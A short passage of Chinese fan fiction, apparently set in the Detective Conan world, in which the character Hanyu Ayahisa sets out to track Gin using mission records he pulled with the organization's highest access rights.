羽生绫久推开门,耸了耸肩:“我尽量。” 他大步离开了公司,打算顺着刚刚查到的‘琴酒’的任务单去试着蹲蹲人。 至于从哪里查到的行动轨迹……自然是用了组织的最高权限。 反正用一次是用,用两次也是用。 再说了,这个‘世界’的羽生绫久到底是不是真的存在…… 都还不好说呢。